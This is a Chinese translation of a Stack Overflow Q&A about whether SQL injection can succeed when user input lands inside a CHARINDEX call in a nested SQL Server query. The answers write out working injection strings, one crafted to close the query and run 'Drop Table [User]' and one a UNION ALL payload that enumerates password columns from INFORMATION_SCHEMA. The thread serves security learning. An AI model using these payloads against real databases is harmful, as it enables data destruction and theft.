我想提高我对可能存在的SQL注入攻击的了解。我知道参数化完全避免了SQL注入风险,因此应该在任何地方应用。然而,当有人问我如何利用它时,我喜欢得到一个答案。
我知道基本的SQL注入攻击是如何工作的。例如,一个网站有一个页面website.com/users/{id},其中id是用户的主键。如果我们完全信任输入并简单地将id参数传递给正在执行的查询,这可能会产生可怕的后果。在website.com/users/1的情况下,查询变成SELECT * FROM [User] WHERE [Id] = 1。然而,在website.com/users/1;DROP TABLE User的情况下,查询变成了SELECT * FROM [User] WHERE [Id] = 1;DROP TABLE User,导致了令人讨厌的结果。
但是,我读到的几乎所有的SQL注入攻击都是在注入之前出现WHERE子句时进行计数的。注入几乎总是以某种形式的;Injected statement--工作。
我的问题是,在给定如下查询的情况下,是否也可以执行SQL注入攻击?或者在更广泛的意义上:是否必须编译整个语句才能进行SQL注入攻击,或者语句中的任何错误是否会导致攻击失败?如果答案因DBMS而异,请指定DBMS。
在下面的查询中,注入应该发生在从用户输入复制input的CHARINDEX('input', [Name]) > 0中。
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('input', [Name]) > 0
) AS [User]
LEFT JOIN
[Setting] ON [Setting].[UserId] = [User].[Id]我自己得到的最远的结果是下面的查询,但它返回的错误Missing end comment mark '*/'似乎完全阻止了任何攻击。
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('input', '') > 0) AS [User];DROP TABLE [NonExistentTable]/*, [Name]) > 0
) AS [User]
LEFT JOIN
[Setting] ON [Setting].[UserId] = [User].[Id]发布于 2021-10-14 11:28:15
产生的SQL必须被特定的DBMS接受才能发生注入,这通常意味着它需要是有效的SQL,但通常有一些方法可以使输入有效,而不管所讨论的SQL是什么。
如果行注释不够,可以添加额外的语句;如果不允许使用多个语句,则可以使用UNION;依此类推。
确切的细节是不同的,但只要对查询有足够的了解(例如,通过泄露给用户的错误详细信息)或幸运的猜测,通常可以制作出对攻击者有利的东西。
在您的示例中,请考虑以下输入,它只是重复现有查询的一部分:
nonsense', [Name]) > 0
)
) AS [User];
Drop Table [User];
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('nonsense这将产生以下SQL:
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('nonsense', [Name]
)
) AS [User];
Drop Table [User];
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('nonsense', [Name]) > 0
) AS [User]
LEFT JOIN
[Setting] ON [Setting].[UserId] = [User].[Id]发布于 2021-10-14 11:44:11
SQL注入通常发生在涉及某种字符串连接/插入操作的地方。它不必是WHERE子句。另外,一般来说,攻击者对删除表不感兴趣,他想要的是信息。如果input被替换为:
', '') > 0 UNION ALL SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME = 'password' --假设以某种方式显示了select的结果,并且还显示了错误消息,则在查询实际返回下一阶段要探测的表和列的名称之前,攻击者需要几分钟时间来确定他应该添加的, NULL的数量和位置。
https://stackoverflow.com/questions/69569787
复制相似问题